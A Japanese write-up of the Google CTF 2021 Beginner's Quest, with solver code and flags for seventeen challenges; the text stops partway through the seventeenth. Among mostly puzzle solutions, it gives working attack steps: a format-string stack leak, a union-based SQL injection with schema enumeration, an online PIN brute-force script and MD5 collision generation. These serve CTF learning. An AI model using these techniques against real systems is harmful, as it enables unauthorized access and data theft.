Google CTFの初心者向け版。特に終了予定とかは無く、いつでも解けるらしい。

the beginner's quest is still running so if you want to try your hands on the challenges before reading, please go https://capturetheflag.withgoogle.com/beginners-quest

Beginner's Qeustは今も開催中なので、読む前に自分の手で解きたければ https://capturetheflag.withgoogle.com/beginners-quest へ

と書いても書かなくても、write-upを公開して良いらしいので。

全問題を解こうと思うと大変だけど、クリアを目指すだけなら楽しいと思う。ルート分岐があって全部の問題を解かなくてもクリアできる。ストーリー仕立てで、なぜかボイスまで付いている。

解法はスクロールした先に。

1: CCTV (rev)

パスワードで入るウェブページ。パスワードのチェックはページ内のJavaScript。

index.html

<script>
const checkPassword = () => {
  const v = document.getElementById("password").value;
  const p = Array.from(v).map(a => 0xCafe + a.charCodeAt(0));

  if(p[0] === 52037 &&
     p[6] === 52081 &&
     p[5] === 52063 &&
     p[1] === 52077 &&
     p[9] === 52077 &&
     p[10] === 52080 &&
     p[4] === 52046 &&
     p[3] === 52066 &&
     p[8] === 52085 &&
     p[7] === 52081 &&
     p[2] === 52077 &&
     p[11] === 52066) {
    window.location.replace(v + ".html");
  } else {
    alert("Wrong password!");
  }
}

window.addEventListener("DOMContentLoaded", () => {
  document.getElementById("go").addEventListener("click", checkPassword);
  document.getElementById("password").addEventListener("keydown", e => {
    if (e.keyCode === 13) {
      checkPassword();
    }
  });
}, false);
</script>

パスワードの各文字の文字コードに0xCafe（＝51966）を足して、ある値になるかをチェックしている。

逆に引いて、文字に変換すれば良い。

p = {};
p[0] = 52037;
p[6] = 52081;
p[5] = 52063;
p[1] = 52077;
p[9] = 52077;
p[10] = 52080;
p[4] = 52046;
p[3] = 52066;
p[8] = 52085;
p[7] = 52081;
p[2] = 52077;
p[11] = 52066;

password = "";
for (var i=0; i<12; i++)
  password += String.fromCharCode(p[i]-0xcafe);
console.log(password);

GoodPassword

ログインすると監視カメラの映像とフラグが見られる。

CTF{IJustHopeThisIsNotOnShodan}

2: Logic Lock (misc)

論理回路図を読んで、出力が真になる入力を求める。

逆算すれば、XOR以外は、出力から入力が一意に決まる。XORの入力も他から決まるので問題無し。

CTF{BCFIJ}

3: High Speed Chase (misc)

距離センサーの情報から車の進路を決めるAIを書く。成功すると、他の車をすいすいすり抜けていって楽しい。

まあ、距離センサーの一番遠いところが左にあれば左に、右にあれば右に移動するだけだけど。道路端は距離が0になっているので、特に考慮する必要は無い。

console.log(scanArray)で出力してみると、センサーの入力はこんな感じになっている。

[0, 0, 0, 0, 22.75, 22.75, 22.75, 9, 9, 9, 8.75, 8.75, 8.75, 0, 0, 0, 0]
[0, 0, 0, 21.75, 21.75, 21.75, 8, 8, 8, 7.75, 7.75, 7.75, 0, 0, 0, 0, 0]
[0, 0, 20.75, 20.75, 20.75, 7, 7, 7, 6.75, 6.75, 6.75, 0, 0, 0, 0, 0, 0]
[0, 0, 19.75, 19.75, 19.75, 6, 6, 6, 5.75, 5.75, 5.75, 0, 0, 0, 0, 0, 0]
[0, 18.75, 18.75, 18.75, 5, 5, 5, 4.75, 4.75, 4.75, 0, 0, 0, 0, 0, 0, 0]

車の幅がセンサー3個分で、その中心に移動しないといけないことに注意。

function controlCar(scanArray) {
  var x = 0;
  for (var i=1; i<17; i++)
    if (scanArray[i]>scanArray[x])
      x = i;
  x++;
  if (x<8)
    return -1;
  if (x>8)
    return 1;
  if (x==8)
    return 0;

CTF{cbe138a2cd7bd97ab726ebd67e3b7126707f3e7f}

4: Electronics Research Lab (hw)

chal.cとpico.utf2。chal.cをコンパイルするとpico.uf2になって、Rasbery Pi Picoに持っていくと動くのかな。持ってない。

chal.c

#include <stdbool.h>

#include "hardware/gpio.h"
#include "hardware/structs/sio.h"
#include "pico/stdlib.h"

int main(void)
{
    for (int i = 0; i < 8; i++) {
        gpio_init(i);
        gpio_set_dir(i, GPIO_OUT);
    }
    gpio_put_all(0);

    for (;;) {
        gpio_set_mask(67);
        gpio_clr_mask(0);
        sleep_us(100);
        gpio_set_mask(20);
        gpio_clr_mask(3);
        sleep_us(100);
        gpio_set_mask(2);
        gpio_clr_mask(16);
        sleep_us(100);
 :

たぶん、gpio_set_maskは引数の立っているビットに対応する、GPIOのビットを立てる。gpio_clr_maskは寝かせるのだろう。

chal2.c

#include <stdio.h>

char c;

void gpio_set_mask(char x) {c |= x;}
void gpio_clr_mask(char x) {c &= ~x;}
void sleep_us(int x){printf("%c", c);}

int main()
{
        gpio_set_mask(67);
        gpio_clr_mask(0);
        sleep_us(100);
        gpio_set_mask(20);
        gpio_clr_mask(3);
        sleep_us(100);
        gpio_set_mask(2);
        gpio_clr_mask(16);
        sleep_us(100);
 :

こう書き換えて、

$ gcc chal2.c -o chal2
$ ./chal2
CTF{be65dfa2355e5309808a7720a615bca8c82a13d7}

CTF{be65dfa2355e5309808a7720a615bca8c82a13d7}

5: Twisted robot (misc)

RoboCaller1337.py

import random

# Gots to get that formatting right when send it to our call center
def formatNumber(n):
    n = str(n)
    return f'{n[:3]}-{n[3:6]}-{n[6:]}'

# This generates random phone numbers because it's easy to find a lot of people!
# Our number generator is not great so we had to hack it a bit to make sure we can
# reach folks in Philly (area code 215)
def generateRandomNumbers():
    arr = []
    for i in range(624):
        arr.append(formatNumber(random.getrandbits(32) + (1<<31)))
    return arr

def encodeSecret(s):
    key = [random.getrandbits(8) for i in range(len(s))]
    return bytes([a^b for a,b in zip(key,list(s.encode()))])


def menu():
    print("""\n\nWelcome to the RoboCaller!! What would you like to do?
1: generate a new list of numbers
2: encrypt a super secret (in beta)
3: decrypt a super secret (coming soon!!)
4: exit""")
    choice = ''
    while choice not in ['1','2','3']:
        choice = input('>')
        if choice == '1':
            open('robo_numbers_list.txt','w').write('\n'.join(generateRandomNumbers()))
            print("...done! list saved under 'robo_numbers_list.txt'")
        elif choice == '2':
            secret = input('give me your secret and I\'ll save it as "secret.enc"')
            open('secret.enc','wb').write(encodeSecret(secret))
        elif choice == '3':
            print("stay tuned for this awesome feature\n\n")
        elif choice == '4':
            print("Thank you for using RoboCaller1337!")
    return

def main():
    while True:
        menu()

if __name__ == "__main__":
    main()

とrobo_numbers_list.txt、secret.encが与えられる。

メルセンヌツイスタの内部状態の復元。メルセンヌツイスタの内部状態は624個の32ビット変数で数がぴったり。

内部状態がそのまま乱数として出力されるわけではなく、

mt19937ar.c

 :
    /* Tempering */
    y ^= (y >> 11);
    y ^= (y << 7) & 0x9d2c5680UL;
    y ^= (y << 15) & 0xefc60000UL;
    y ^= (y >> 18);
 :

という処理があるので、ここだけ逆算。

solve.py

import random

s = []
for l in open("robo_numbers_list.txt"):
  x = int(l.replace("-",""))-(1<<31)
  x ^= x>>18
  x ^= x<<15 & 0xefc60000 & 0b00111111_11111111_10000000_00000000
  x ^= x<<15 & 0xefc60000 & 0b11000000_00000000_00000000_00000000
  x ^= x<< 7 & 0x9d2c5680 & 0b00000000_00000000_00111111_10000000
  x ^= x<< 7 & 0x9d2c5680 & 0b00000000_00011111_11000000_00000000
  x ^= x<< 7 & 0x9d2c5680 & 0b00001111_11100000_00000000_00000000
  x ^= x<< 7 & 0x9d2c5680 & 0b11110000_00000000_00000000_00000000
  x ^= x>>11 & 0b00000000_00011111_11111100_00000000
  x ^= x>>11 & 0b00000000_00000000_00000011_11111111
  s += [x]

random.setstate((3, tuple(s+[624]), None))

C = open("secret.enc", "rb").read()
P = bytes([C[i]^random.getrandbits(8) for i in range(len(C))])
print(P.decode())

$ python3 solve.py
CTF{n3v3r_3ver_ev3r_use_r4nd0m}

CTF{n3v3r_3ver_ev3r_use_r4nd0m}

6: To the moon (misc)

これ大変。

I made a super secret encoder. I remember using:
- a weird base, much higher than base64
- a language named after a painter
- a language that is the opposite of good
- a language that looks like a rainbow cat
- a language that is too vulgar to write here
- a language that ended in 'ary' but I don't remember the full name

I also use gzip and zlib (to compress the stuff) and I like hiding things in files...

だそうで。

chall.txt

魦浤魦敥攰攱阴欴渴欴攰昰昰攰攰昰攰昰攰攰魦晥昸阶樴洷渶欶攰攰餴餴攰防攰攰攰洰攰樰昰阱攰樰攰攰攰昰攰攰攰阴昰霱攰樰攰攰攰昰...

文字種がちょうど256種類。その256種類を文字コード順にソートして、各文字を何番目かで置き換えると、何かのフォーマットのようなそうでないような感じになる。そこからさらに上位4ビットと下位4ビットを入れ替えると、JPEGになる。「こんなんよく解けたな……」と我ながら思う。知られたエンコード方法だったりするのだろうか。

solve1.py

C = list(map(ord, open("chall.txt").read()))
T = sorted(list(set(C)))
P = [T.index(c) for c in C]
P = bytes(p>>4|p<<4&0xf0 for p in P)
open("chall2.jpg", "wb").write(P)

chall2.jpg。

これは、a language named after a painter、Piet……と思うが、良く見るとこれはPietの元ネタのPiet Mondrianの作品そのものであって、プログラムではない。

Jpegファイルの作成者が次のような長い文字列。

chall3.xt

zaeeaeeuewawaweeeuuwaawuwueeuwaawuwaaawuuuuwuwuuuwaawaawaaaawueueeweeeweaeawuuwawaaaweeeuuweeuwawaaaeeeweeeeewueueewaaaa...

これは、a language that is the opposite of good、Evilのソースコード。特殊なweaveという操作があるので、気が付かないと解けない。

solve.py

# https://esolangs.org/wiki/Evil
A = 0
S = open("chall3.txt").read()
out = ""

for s in S:
  if s=="a":
    A = (A+1)%256
  if s=="e":
    A = (
      (A   &1)<<2 |
      (A>>1&1)    |
      (A>>2&1)<<4 |
      (A>>3&1)<<1 |
      (A>>4&1)<<6 |
      (A>>5&1)<<3 |
      (A>>6&1)<<7 |
      (A>>7&1)<<5)
  if s=="u":
    A = (A-1)%256
  if s=="w":
    out += chr(A)
  if s=="z":
    A = 0

open("chall4.txt", "w").write(out)

chall4.txt

789ced57695413591a7569c56e9155161d050511150111230a024d9b800328e368435340a28050dd519486180810daa16db2884823d26cc12e141cb1...

これをhex decodeして、zlib展開して、gzip展開するとPPM画像が出てくる。

$ cat chall4.txt | xxd -r -p | zlib-flate -uncompress | gunzip > chall5.ppm

chall5.ppm。

今度こそPiet。https://www.bertnase.de/npiet/npiet-execute.php で実行。警告は出てくるけれど、出力は問題無さそう。

chall6.txt

789ce5d9bb11c3300c83e13e5b7a81f4693c7b7630ee807c91fbff288b141fe0fbf3e4bbeed7bb073eb616a121bdb01cd9ecfab48d2d820872e2e056...

Hex decodeしてzlib展開。

$ cat chall6.txt | xxd -r -p | zlib-flate -uncompress > chall7.txt

chall7.txt

nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
 :

a language that looks like a rainbow cat、nya~。~で0クリアし、nで1回デクリメントしているので、yの個数-1を出力すれば良い。この-1を忘れて、次の数字が1個ずれてハマった。

solve3.py

out = ""
for l in open("chall7.txt"):
  out += chr(l.count("y")-1)
open("chall8.txt", "w").write(out)

chall8.txt

440697918422363183397548356115174111979967632241756381461523275762611555565044345243686920364972358787309560456318193690...

「a language that ended in 'ary' but I don't remember the full name」のUnary（の0の個数）。2進数に変換して、先頭の1を削り、3桁ずつに区切って変換する。

solve4.py

x = int(open("chall8.txt").read())
x = bin(x)[2:]
x = x[1:]

out = ""
for i in range(0, len(x), 3):
  out += "><+-.,[]"[int(x[i:i+3], 2)]
open("chall9.txt", "w").write(out)

chall9.txt

[-]>[-]<++++++[>++++++++++<-]>+++++++.<+[>++++++++++<-]>+++++++.<+[>----------<-]>----.<+++++[>++++++++++<-]>+++.<+[>---...

A language that is too vulgar to write here、brainf*ck。適当なインタプリタで実行するとフラグが出てくる。

お疲れさまでした。

CTF{pl34s3_n0_m04r}

7: ReadySetAction (crypto)

chall.py

from Crypto.Util.number import *

flag = b"REDACTED"

p = getPrime(1024)
q = getPrime(1024)
n = p*q

m = bytes_to_long(flag)

c = pow(m,3,n)

print(c)
print(n)
#15478048932253023588842854432571029804744949209594765981036255304813254166907810390192307350179797882093083784426352342087386691689161026226569013804504365566204100805862352164561719654280948792015789195399733700259059935680481573899984998394415788262265875692091207614378805150701529546742392550951341185298005693491963903543935069284550225309898331197615201102487312122192298599020216776805409980803971858120342903012970709061841713605643921523217733499022158425449427449899738610289476607420350484142468536513735888550288469210058284022654492024363192602734200593501660208945967931790414578623472262181672206606709
#21034814455172467787319632067588541051616978031477984909593707891829600195022041640200088624987623056713604514239406145871910044808006741636513624835862657042742260288941962019533183418661144639940608960169440421588092324928046033370735375447302576018460809597788053566456538713152022888984084306297869362373871810139948930387868426850576062496427583397660227337178607544043400076287217521751017970956067448273578322298078706011759257235310210160153287198740097954054080553667336498134630979908988858940173520975701311654172499116958019179004876438417238730801165613806576140914402525031242813240005791376093215124477

配布ファイルに__pycache__ディレクトリも含まれているが、特に使わない。

$e$の小さなRSA暗号。単に$c$の3乗根を求めるだけではダメで、$c'=c+kn$を小さな$k$について総当たり。

solve.py

c = 15478048932253023588842854432571029804744949209594765981036255304813254166907810390192307350179797882093083784426352342087386691689161026226569013804504365566204100805862352164561719654280948792015789195399733700259059935680481573899984998394415788262265875692091207614378805150701529546742392550951341185298005693491963903543935069284550225309898331197615201102487312122192298599020216776805409980803971858120342903012970709061841713605643921523217733499022158425449427449899738610289476607420350484142468536513735888550288469210058284022654492024363192602734200593501660208945967931790414578623472262181672206606709
n = 21034814455172467787319632067588541051616978031477984909593707891829600195022041640200088624987623056713604514239406145871910044808006741636513624835862657042742260288941962019533183418661144639940608960169440421588092324928046033370735375447302576018460809597788053566456538713152022888984084306297869362373871810139948930387868426850576062496427583397660227337178607544043400076287217521751017970956067448273578322298078706011759257235310210160153287198740097954054080553667336498134630979908988858940173520975701311654172499116958019179004876438417238730801165613806576140914402525031242813240005791376093215124477

from Crypto.Util.number import *

def root(c):
  l = 0
  r = c
  while l+1<r:
    m = (l+r)//2
    if m**3<=c:
      l = m
    else:
      r = m
  if l**3==c:
    return l
  else:
    return 0

for k in range(99999999):
  print(k)
  a = root(c+k*n)
  if a!=0:
    print(long_to_bytes(a))
    break

$ python3 solve.py
0
1
2
 :
1829
1830
1831
b'CTF{34sy_RS4_1s_e4sy_us3}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

CTF{34sy_RS4_1s_e4sy_us3}

8: Hide and seek (misc)

真っ黒なPNG画像。eDIHというサイズ1の謎のチャンクが挟まっている。

PNGの構造上、チャンクタイプのすぐ後ろがデータなので、stringsとgrepで取り出せば良いだろう。

$ strings hideandseek.png | grep -oP '(?<=eDIH).' | tr -d '\n'
Q1RGe0RpZFlvdUtub3dQTkdpc1Byb25vdW5jZWRQSU5HP30=
$ strings hideandseek.png | grep -oP '(?<=eDIH).' | tr -d '\n' | base64 -d
CTF{DidYouKnowPNGisPronouncedPING?}

CTF{DidYouKnowPNGisPronouncedPING?}

9: Konski-Hiakawa Law of Droids (reversing)

In this challenge, you have to find the flag using memory forensics. Good luck! Note, surround the flag with CTF{...} to submit it. Note, API Level 25 is what you're looking for.

Androidアプリと動かしたときのメモリダンプ？　という感じなのだけれど、gCTF.apkをZIPとして展開すると、なぜかバイトコードなどではなくソースコードが出てくる。ネイティブコードを使って、ファイルに文字列を書き込んだり、インプットフォームに入力された文字列とファイルの内容を比較したりしている。

bzImage.elfを、ファイルに最初に書き込まれるgCTF:KEY:という文字列で検索し、近くにあるSB:575756が正解だった。良く分からん。

CTF{SB:575756}

10: Spycam (hardware)

これも大変。

問題ファイルは、20 MiB以上の大きなCSVファイルが7個。中身はこんな感じ。

1.csv

-0.0018051198211097765,4.25,-0.05,-0.05,-0.18
-0.001805079821043734,4.25,-0.05,-0.08,-0.18
-0.0018050398209776917,4.3,-0.05,-0.08,-0.18
-0.0018049998209116493,4.3,-0.05,-0.08,-0.18
-0.0018049598208456068,4.25,-0.05,-0.08,-0.2
-0.0018049198207795644,4.25,-0.05,-0.05,-0.18
-0.001804879820713522,4.25,-0.05,-0.05,-0.18
-0.0018048398206474796,4.25,-0.05,-0.08,-0.18
 :

1番目の列は単調増加、それ以外は周期的。Video Graphics Array。

サンプリングが微妙に1画素ごとのタイミングではないのが厄介。

1.png。

3.png。

7.png。

画像によっては、色の間でずれているし。

重要な7番目だけ補正。

solve.py

from PIL import Image

for i in range(1, 8):
  img = Image.new("RGB", (800, 600), (128, 128, 128))
  for l in open(f"{i}.csv"):
    t, _, r, g, b = map(float, l[:-1].split(","))
    if t>=0:
      y = int(t*31469)
      x = int((t*31469-y)*800)
      if 0<=x<800 and 0<=y<600:
        r = min(255, max(0, int((r+0.4)/0.7*256)))
        g = min(255, max(0, int((g+0.4)/0.7*256)))
        b = min(255, max(0, int((b+0.4)/0.7*256)))
        img.putpixel((x, y), (r, g, b))

  if i==7:
    for y in range(600):
      for x in range(800-25):
        r, _, b = img.getpixel((x, y))
        _, g, _ = img.getpixel((x+25, y))
        img.putpixel((x, y), (r, g, b))

  img.save(f"{i}.png")

CTF{vlde0_g?aphi?s_4???y}ではない。Discordで「?はそこに文字を入れる」とか「Vは大文字」とか言っているのを見つつ、ホワイトボードの文字も見ながらがんばる。色の調整をすればホワイトボードの文字もはっきり見えるかと思ったけど、そもそも元のCSVの浮動小数点数にそんなに精度が無いんだよな……。

これが正解。gが大文字なのはおかしいだろ。OCRが失敗したということか。

CTF{V1de0_Graphics_4rr4y}

11: pwn-notebook (pwn)

こんな感じ。

$ nc pwn-notebook.2021.ctfcompetition.com 1337
== proof-of-work: disabled ==
This is your confidential notebook.
This should get you through the next mission!
Good luck!

Please choose what you want to do:
1. List built-in note metadata.
2. Print out a built-in note.
3. Make a draft your note.
4. Add note to notebook.
5. Delete note.
9. Quit.
> 2
Which note would you like to print out? 0
 _______________________________________
< Shipping manifest #1337: Thingomabobs >
 ---------------------------------------
   \    /\_/\
    \  ( o.o )
        > ^ <
Please choose what you want to do:
1. List built-in note metadata.
2. Print out a built-in note.
3. Make a draft your note.
4. Add note to notebook.
5. Delete note.
9. Quit.
> 2
Which note would you like to print out? 1
 ________________________________________
< PSA: The forklift is under maintenance >
 ----------------------------------------
   \    /\_/\
    \  ( o.o )
        > ^ <
Please choose what you want to do:
1. List built-in note metadata.
2. Print out a built-in note.
3. Make a draft your note.
4. Add note to notebook.
5. Delete note.
9. Quit.
> 2
Which note would you like to print out? 2
 _________________________________________
/ Note to staff: Please clean up the mess \
\ in warehouse 42                         /
 -----------------------------------------
   \    /\_/\
    \  ( o.o )
        > ^ <
Please choose what you want to do:
1. List built-in note metadata.
2. Print out a built-in note.
3. Make a draft your note.
4. Add note to notebook.
5. Delete note.
9. Quit.
> 2
Which note would you like to print out? 3
 _________
< DELETED >
 ---------
   \    /\_/\
    \  ( o.o )
        > ^ <
Please choose what you want to do:
1. List built-in note metadata.
2. Print out a built-in note.
3. Make a draft your note.
4. Add note to notebook.
5. Delete note.
9. Quit.

3番目にはあらかじめフラグが読み込まれているものの、各ノートには有効かどうかのフラグがあって、3番目は0にされている。

3番目のあたりを書式文字列攻撃で読む。

 :
Please choose what you want to do:
1. List built-in note metadata.
2. Print out a built-in note.
3. Make a draft your note.
4. Add note to notebook.
5. Delete note.
9. Quit.
> 3
Quote: %365$p_%366$p_%367$p_%368$p_%369$p_%370$p_%371$p_%372$p
 __________________________________________
/ 0x696d655200000000_0x5443203a7265646e_0x74616d726f667b46_0x5f676e697274735f_0x5f6568745f726f66_% \
\ p_(nil)_0x7fffce781c90                          /
 ------------------------------------------
   \    /\_/\
    \  ( o.o )
        > ^ <
 :
> 3
Quote: %370$p_%371$p_%372$p_%373$p
 _____________________________
< 0x7d6e6977_(nil)_0x7fffce781c90_(nil) >
 -----------------------------
 :

適当にスタックのアドレスを読み出して、そこから計算したアドレスも一緒に書き込み、%sで読み出すとか、フラグを書き換えるという手もあるかもしれない。

$ echo "696d655200000000" | xxd -r -p
imeR
$ echo "5443203a7265646e" | xxd -r -p
TC :redn
$ echo "74616d726f667b46" | xxd -r -p
tamrof{F
$ echo "5f676e697274735f" | xxd -r -p
_gnirts_
$ echo "5f6568745f726f66" | xxd -r -p
_eht_rof
$ echo "7d6e6977" | xxd -r -p
}niw

Reminder: CTF{format_string_for_the_win}

CTF{format_string_for_the_win}

12: Old lock (web)

You're not sure what metal the keypad was made of, but either it was very soft, or whoever punches in the code has waay too much strength in their fingers. This also means you're in luck, since it's pretty obvious which digits are actually used in the 5-digit code. The order is unknown, but there can't be that many possibilities, right? Note: Online brute forcing is allowed in this task.

この問題はブルートフォースOKなので、ブルートフォース。

solve.py

import requests
import itertools

for p in itertools.permutations("35780"):
  p = "".join(p)
  r = requests.post("https://old-lock-web.2021.ctfcompetition.com", {"v": p}).text
  print(p, r)

87053がパスコード。

CTF{IThinkWeNeedToReplaceTheKeypad}

13: Noise on the wire (net)

pcapファイル。このような通信をしている。

{"militaryGradeEncryption":false,"codename":"Goon8133","message":"what's the password to the zip file?"}
{"militaryGradeEncryption":false,"codename":"BadGuy87","message":"which zip file?"}
{"militaryGradeEncryption":false,"codename":"Goon8133","message":"well, you know, THE zip file"}
{"militaryGradeEncryption":false,"codename":"BadGuy87","message":"oh, that one... gimme a sec, need to turn on military grade encryption"}
{"militaryGradeEncryption":false,"codename":"Goon8133","message":"ok"}
{"militaryGradeEncryption":true,"codename":"BadGuy87","message":"717f510b44623d391016bd6464450c5e316d1a0c16b95f794d487a2719373000be4a54445843273f080216b97c795348642d19300a169d627a4d645634280c0c21a53a241218"}
{"militaryGradeEncryption":true,"codename":"Goon8133","message":"67794d0c452e3467"}
{"militaryGradeEncryption":true,"codename":"BadGuy87","message":"72734044"}

重要なところはミリタリーグレードで暗号化されている。pcapファイルの中からHTMLファイルを取り出して開き、開発者ツールで復号する関数を呼び出して復号。

decryptWithMilitaryGradeEncryption("717f510b44623d391016bd6464450c5e316d1a0c16b95f794d487a2719373000be4a54445843273f080216b97c795348642d19300a169d627a4d645634280c0c21a53a241218")
"zip's password is BossToldMeToSetABetterPasswordSoThisWillHaveToDo1234"
decryptWithMilitaryGradeEncryption("67794d0c452e3467")
"lol rly?"
decryptWithMilitaryGradeEncryption("72734044")
"yeah"

ZIPファイルを抜き出して、このパスワードで解凍。

CTF{PleaseAssumeThisIsSomeSecretStuffThankYou}

14: web-quotedb (web)

クエリパラメタidの数字に応じて、有名人の言葉の引用が出てくる。

5'だとページが空白。SQLインジェクション。

100 union select 1,2,3--で、

"2" - 3

カラム数は2。

100 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --

"flag,quotes" - 3

テーブルは、quotesとflag。それならカラム名もflagだろう。

100 union select 1,flag, from flag--

"CTF{little_bobby_tables_we_call_him}" - 3

CTF{little_bobby_tables_we_call_him}

15: Just another keypad (rev)

扉に電子ロックが掛かっていて、ワイヤーを取り付けてファームウェアをダンプして解析したら、Free Pascalのソースコードが出てきたらしい。ファームウェアのダンプができるなら、扉の解錠もできるんじゃないのか？

keypad.pas

type
  DigitType = array[1..16] of SmallInt;

function CheckKeyPadCode(code : DigitType) : Boolean;
var
  digit : SmallInt;
  i : SmallInt;
  x, a, b, c, d : QWord;

begin
  x := 0;
  i := 0;

  For digit In code Do
  Begin
    If (digit < 0) or (digit > 9) then
    begin
      CheckKeyPadCode := False;
      Exit;
    end;

    x := x or (QWord(digit) shl i);
    i += 4;
  End;

  x := x xor &1275437152437512431354;
  x := RolQWord(x, 10);

  a := x and 1229782938247303441;
  b := x and &0210421042104210421042;
  c := x and RolQWord(1229782938247303441, 2);
  d := x and RolQWord(&0210421042104210421042, 2);

  if ((a = $0100101000011110) and (b = $2002220020022220) and
      (c = $4444040044044400) and (d = QWord($8880008080000880))) then
    CheckKeyPadCode := True
  else
    CheckKeyPadCode := False;
end;

まあ、読めなくはない。$を前置すると16進数、&だと8進数になるらしい。

solve.py

x = 0x0100101000011110 | 0x2002220020022220 | 0x4444040044044400 | 0x8880008080000880
x = (x>>10|x<<54)&0xffffffffffffffff
x ^= 0o1275437152437512431354
print("CTF{"+hex(x)[2:][::-1]+"}")

CTF{3333319552798534}

16: Hash-meee (misc)

I heard BotBot, the resident Discord bot, is experimenting with hashing. He specifically wants to see 2 different strings, both starting with gctf, that have the same md5 hash. He will reward this with a flag. You can access our Discord with the following invite link: https://discord.gg/XXXXXXXX To solve this challenge DM BotBot on discord using the command !hashme followed by the two strings, encoded in hex. E.g. if your strings are "gctfhello" and "gctfhola" you would send !hashme 6763746668656c6c6f 67637466686f6c61

gctfから始まるMD5が衝突する文字列を作れという問題。ツールがあるだろう。

prefix.txtにgctfを書いて、

$ scripts/poc_no.sh prefix.txt
rm: cannot remove 'md5diffpath*.cfg': No such file or directory
rm: cannot remove 'md5diffpath*.template': No such file or directory
MD5 differential path toolbox
Copyright (C) 2009 Marc Stevens
http://homepages.cwi.nl/~stevens/

delta_m[2] = [!8!]
In-block prefix words: 1

Parsed path:
Q-3:    |01100111 01000101 00100011 00000001|
Q-2:    |00010000 00110010 01010100 01110110|
 :
23: Q4m4tunnel      = 12
24: Q9m9tunnel      = 8
25: Q14Q3m14tunnel  = 2
.131072 3
135978 4
Block 1: ./data/coll1_3262432147
03 36 dd 50 c1 a8 db a2 46 41 d3 77 51 f2 b0 31
8d db bf bf c7 a9 69 45 02 31 1e 91 6a 9e 80 af
80 d0 88 c3 6a fd 52 84 4b 22 fb 5f 13 66 f2 64
1a a8 29 95 9e e2 27 df a5 a6 d3 18 a0 af e6 b9
Block 2: ./data/coll2_3262432147
03 36 dd 50 c1 a8 db a2 46 42 d3 77 51 f2 b0 31
8d db bf bf c7 a9 69 45 02 31 1e 91 6a 9e 80 af
80 d0 88 c3 6a fd 52 84 4b 22 fb 5f 13 66 f2 64
1a a8 29 95 9e e2 27 df a5 a6 d3 18 a0 af e6 b9
Found collision!
Worker thread: caught exception:ebf02abfb32204ce6d0f9c831ec75da3  collision1.bin
ebf02abfb32204ce6d0f9c831ec75da3  collision2.bin
476309d7d587003b8f9991112fd6c5b3e12be918  collision1.bin
b3eb4654ccd6e82aafe00ee93556ff4a4e9a9ec5  collision2.bin
0 -rwxrwxrwx 1 kusano kusano 128 Sep  3 23:46 collision1.bin
0 -rwxrwxrwx 1 kusano kusano 128 Sep  3 23:46 collision2.bin

CTF{h4sh_m3_tw1c3_1245fd3}

17: Playing golf (misc)

コードゴルフ。

encoder.py

#!/usr/bin/python3
import struct

__all__ = ["encode"]

NUMBERS = [
     2,    3,    5,    7,   11,   13,   17,   19,   23,   29,
    31,   37,   41,   43,   47,   53,   59,   61,   67,   71,
    73,   79,   83,   89,   97,  101,  103,  107,  109,  113,
   127,  131,  137,  139,  149,  151,  157,  163,  167,  173,
 :
  7573, 7577, 7583, 7589, 7591, 7603, 7607, 7621, 7639, 7643,
  7649, 7669, 7673, 7681, 7687, 7691, 7699, 7703, 7717, 7723,
  7727, 7741, 7753, 7757, 7759, 7789, 7793, 7817, 7823, 7829,
  7841, 7853, 7867, 7873, 7877, 7879, 7883, 7901, 7907, 7919,
]

def make_tlv(type, byte_data):
  output = []
  output.append(bytes(type, "utf-8")[:4])
  output.append(struct.pack(">I", len(byte_data)))
  output.append(byte_data)
  return b''.join(output)

def step1_encode_as_tlv(input_data_as_byte_stream):
  output = []
  output.append(make_tlv("BEGN", bytes("abcdefghijklmnopqrstuvwxyz", "utf-8")))
  output.append(make_tlv("DATA", input_data_as_byte_stream))
  output.append(make_tlv("END.", bytes("ABCDEFGHIJKLMNOPQRSTUVWXYZ", "utf-8")))
  return b''.join(output)

def step2_encrypt_data(data_to_encrypt):
  output = []
  for i in range(len(data_to_encrypt)):
    byte_to_encrypt = data_to_encrypt[i]
    key_number = NUMBERS[i]
    output.append(byte_to_encrypt ^ (key_number & 0xff))

  return bytes(bytearray(output))

def encode(input_data_as_byte_stream):
  tlv_data = step1_encode_as_tlv(input_data_as_byte_stream)
  encrypted_data = step2_encrypt_data(tlv_data)
  return encrypted_data
#END

decoder.py

#!/usr/bin/python3
import struct

__all__ = ["decode"]

NUMBERS = [
     2,    3,    5,    7,   11,   13,   17,   19,   23,   29,
    31,   37,   41,   43,   47,   53,   59,   61,   67,   71,
    73,   79,   83,   89,   97,  101,  103,  107,  109,  113,
   127,  131,  137,  139,  149,  151,  157,  163,  167,  173,
 :
  7573, 7577, 7583, 7589, 7591, 7603, 7607, 7621, 7639, 7643,
  7649, 7669, 7673, 7681, 7687, 7691, 7699, 7703, 7717, 7723,
  7727, 7741, 7753, 7757, 7759, 7789, 7793, 7817, 7823, 7829,
  7841, 7853, 7867, 7873, 7877, 7879, 7883, 7901, 7907, 7919,
]

def read_tlv_block(data, index):
  if len(data) - index < 8:
    return None

  tlv_header = data[index:index + 8]
  tlv_type = str(tlv_header[:4], "utf-8")
  tlv_length = struct.unpack(">I", tlv_header[4:])[0]
  tlv_data = data[index+8:index+8+tlv_length]

  return tlv_type, tlv_data

def step1_decode_tlv(input_data_as_byte_stream):
